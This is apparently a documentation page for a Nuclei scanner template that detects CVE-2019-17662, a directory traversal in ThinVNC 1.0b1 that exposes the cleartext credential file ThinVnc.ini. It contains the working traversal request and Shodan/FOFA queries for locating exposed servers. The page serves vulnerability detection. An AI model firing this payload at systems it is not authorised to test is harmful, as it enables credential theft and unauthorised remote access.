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ThinVNC 1.0b1 - Authentication Bypass

ID: CVE-2019-17662

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2019,packetstorm,auth-bypass,thinvnc,intrusive,cybelsoft

Description

Section titled “Description”

ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.

YAML Source

Section titled “YAML Source”
id: CVE-2019-17662


info:
  name: ThinVNC 1.0b1 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC application.
  remediation: |
    Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.
  reference:
    - http://packetstormsecurity.com/files/154896/ThinVNC-1.0b1-Authentication-Bypass.html
    - https://github.com/bewest/thinvnc/issues/5
    - https://redteamzone.com/ThinVNC/
    - https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py
    - https://github.com/YIXINSHUWU/Penetration_Testing_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17662
    cwe-id: CWE-22
    epss-score: 0.64941
    epss-percentile: 0.97813
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash=-1414548363
  tags: cve,cve2019,packetstorm,auth-bypass,thinvnc,intrusive,cybelsoft


http:
  - raw:
      - |
        GET /{{randstr}}/../../ThinVnc.ini HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "User="
          - "Password="
        condition: and


      - type: word
        part: header
        words:
          - "application/binary"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a0fdab31acdb5367a1c965256bf6c70f4eee421ef57eeddae5d1ec81b5062ae8022100e8d1ae53452e3a55b6182bffa602dfa6bfe4ca95463e3696dca964838270cbd0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-17662.yaml"

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